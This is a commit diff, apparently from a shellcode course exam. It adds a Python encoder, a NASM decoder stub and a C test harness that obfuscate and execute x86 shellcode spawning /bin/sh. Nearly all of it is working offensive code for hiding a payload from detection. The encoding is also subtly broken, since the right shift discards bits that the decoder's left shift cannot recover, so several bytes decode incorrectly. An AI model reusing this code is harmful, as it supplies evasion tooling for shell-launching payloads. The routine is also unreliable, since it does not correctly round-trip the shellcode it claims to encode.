Added Exam EncoderDecoder code.

.vscode/settings.json

@@ -1,3 +1,3 @@
 {
-    "python.pythonPath": "/usr/bin/python2"
+    "python.pythonPath": "/usr/bin/python"
 }

Exam/EncoderDecoder/Decoder.nasm

@@ -0,0 +1,30 @@
+; Decoder.nasm
+; Author: Ravehorn
+
+global _start
+
+section .text
+
+_start:
+
+    jmp short call_decoder
+
+decoder:
+    
+    pop esi
+    
+decode:
+
+    cmp byte [esi], 0x7f
+    je shellcode
+    shl byte [esi], 0x1
+    not byte [esi]
+    xor byte [esi], 0xAA
+    inc esi
+    jmp short decode
+
+call_decoder:
+
+    call decoder
+
+    shellcode: db 0x32, 0x4a, 0x02, 0x1e, 0x3d, 0x3d, 0x13, 0x1e, 0x1e, 0x3d, 0x1b, 0x1e, 0x1d, 0x6e, 0x5b, 0x02, 0x6e, 0x5b, 0x03, 0x6e, 0x5a, 0x72, 0x2f, 0x4c, 0x6a, 0x7f

Exam/EncoderDecoder/Encoder.py

@@ -0,0 +1,35 @@
+#! /usr/bin/python
+# Python Custom Encoder
+
+shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
+
+c_format = ""
+asm_format = ""
+
+print("Encoding shellcode...\n")
+
+for x in bytearray(shellcode):
+    # XOR
+    y = x ^ 0xAA
+
+    # NOT
+    y = ~y
+    y = y & 0xff
+
+    # Shift Right 0x1
+    y = y >> 0x1
+
+    c_format += "\\x"
+    c_format += "%02x" % y
+
+    asm_format += "0x"
+    asm_format += "%02x, " % y
+
+# Adding null instruction
+c_format += "\\x7f"
+asm_format += "0x7f"
+
+print("C version:", c_format, "\n")
+print("ASM version:", asm_format, "\n")
+
+print("Len: %d" % len(bytearray(shellcode)))

Exam/EncoderDecoder/Shellcode.c

@@ -0,0 +1,13 @@
+#include <stdio.h>
+#include <string.h>
+
+unsigned char code[] = \
+"\xeb\x10\x5e\x80\x3e\x7f\x74\x0f\xd0\x26\xf6\x16\x80\x36\xaa\x46\xeb\xf1\xe8\xeb\xff\xff\xff"
+"\x32\x4a\x02\x1e\x3d\x3d\x13\x1e\x1e\x3d\x1b\x1e\x1d\x6e\x5b\x02\x6e\x5b\x03\x6e\x5a\x72\x2f"
+"\x4c\x6a\x7f";
+
+
+int main(void) {
+    printf("Shellcode Length: %d\n", strlen(code));
+    ((void(*)(void))code)();
+}